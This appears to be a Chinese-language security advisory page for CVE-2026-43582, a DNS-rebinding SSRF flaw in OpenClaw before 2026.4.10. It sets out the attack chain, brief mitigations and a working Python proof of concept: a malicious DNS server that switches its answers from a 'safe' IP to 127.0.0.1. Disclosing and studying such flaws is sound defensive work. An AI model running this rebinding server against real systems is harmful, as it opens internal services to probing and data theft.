IPBUF安全漏洞报告
English
CVE-2026-43582 CVSS 6.3 中危

CVE-2026-43582 OpenClaw DNS重绑定SSRF漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-43582
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

SSRFDNS RebindingOpenClawServer-Side Request ForgeryBypass

漏洞概述

OpenClaw 在 2026.4.10 之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞源于其浏览器导航策略中的主机名验证机制存在设计缺陷。攻击者可以利用 DNS 重绑定攻击技术绕过主机名验证,利用验证阶段与实际网络请求阶段之间的主机名解析不一致性,通过未列入白名单的主机名 URL 枢轴转向内部资源。这使得攻击者能够探测或访问受影响服务器背后的内部网络服务。

技术细节

该漏洞的核心原理在于 OpenClaw 在处理 URL 导航时,验证逻辑与实际网络请求逻辑之间存在时间差或解析上下文的不一致。攻击者首先控制一个恶意域名,将其 DNS 记录解析为一个受信任的、允许访问的外部 IP 地址(如攻击者控制的服务器),以此通过 OpenClaw 的初始主机名白名单验证。一旦验证通过,攻击者通过缩短 DNS TTL(生存时间)并更新 DNS 记录,将同一域名解析为目标内网 IP 地址(如 127.0.0.1 或 10.0.0.0/8)。由于应用可能缓存了验证结果或未对后续请求进行二次严格校验,攻击者即可诱导应用向该内网 IP 发起请求,从而实现 SSRF 攻击并窃取内部数据。

攻击链分析

STEP 1
1. 设置恶意域名
攻击者注册一个恶意域名,并配置指向其控制的服务器IP(安全IP)。
STEP 2
2. 诱导验证
攻击者诱导OpenClaw访问该恶意域名。OpenClaw解析域名为安全IP,通过白名单验证。
STEP 3
3. DNS重绑定
攻击者迅速修改DNS记录,将域名解析指向目标内网IP(如127.0.0.1),利用极短的TTL使目标服务器更新缓存。
STEP 4
4. 发起SSRF攻击
OpenClaw在验证通过后发起实际网络请求,此时域名解析为内网IP,请求被发送至内部资源,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for DNS Rebinding Attack # This script simulates a malicious DNS server used for the attack. import socket from dnslib import DNSRecord, DNSHeader, RR, A, QTYPE # Configuration MALICIOUS_DOMAIN = "attacker.com" SAFE_IP = "1.2.3.4" # IP used to pass initial validation INTERNAL_IP = "127.0.0.1" # Target internal IP (SSRF target) PORT = 53 query_count = 0 def start_dns_server(): global query_count sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", PORT)) print(f"[*] Malicious DNS server listening on port {PORT}...") while True: data, addr = sock.recvfrom(1024) try: request = DNSRecord.parse(data) query_count += 1 print(f"[*] Received query #{query_count} from {addr}") # DNS Rebinding Logic: # Reply with SAFE_IP for the first query (Validation Phase) # Reply with INTERNAL_IP for subsequent queries (Exploitation Phase) target_ip = SAFE_IP if query_count == 1 else INTERNAL_IP reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A(target_ip), ttl=0)) sock.sendto(reply.pack(), addr) print(f"[+] Replied with: {target_ip}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Note: Running this requires root privileges start_dns_server()

影响范围

OpenClaw < 2026.4.10

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用OpenClaw的浏览器导航功能或限制其仅能访问预定义的严格白名单域名。同时,应配置DNS解析服务器,强制对特定域名的解析结果进行缓存锁定,防止DNS记录在短时间内发生变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表